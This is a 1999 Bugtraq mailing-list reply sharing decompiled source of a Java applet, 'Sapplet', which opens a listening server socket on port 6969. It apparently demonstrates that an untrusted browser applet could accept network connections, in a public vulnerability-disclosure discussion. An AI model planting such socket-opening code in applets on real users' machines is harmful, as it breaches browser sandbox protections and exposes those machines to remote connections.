[9391] in bugtraq
Re: open socket in java
daemon@ATHENA.MIT.EDU (Simon Kilvington)
Fri Feb 5 14:51:19 1999
Date: Fri, 5 Feb 1999 12:06:52 +0000
Reply-To: Simon Kilvington <s.kilvington@ERIS.DERA.GOV.UK>
From: Simon Kilvington <s.kilvington@ERIS.DERA.GOV.UK>
X-To: nino@INFORM.DK
To: BUGTRAQ@NETSPACE.ORG
nino wrote:
>
> BTW - dont be afraid to release the code. It makes it more easy to the
> rest of us, to see what happened. And the script kids got lots of evil
> tools out there, so I think they wouldnt be too interested in code they
> have to alter before its useful.
>
here's the code - use Netscape's Java console to capture the
class file, and then use something like Jad to decompile it...
// Decompiled by Jad v1.5.5.3. Copyright 1997-98 Pavel Kouznetsov.
// Jad home page: http://web.unicom.com.cy/~kpd/jad.html
// Decompiler options: packimports(3)
// Source File Name: Sapplet.java
import java.applet.Applet;
import java.io.IOException;
import java.io.PrintStream;
import java.net.ServerSocket;
public class Sapplet extends Applet
{
public void init()
{
try
{
s = new ServerSocket(6969);
return;
}
catch(IOException ex)
{
System.out.println("Well drat, it didn't work.");
}
}
public Sapplet()
{
}
ServerSocket s;
}
--
Simon Kilvington, s.kilvington@eris.dera.gov.uk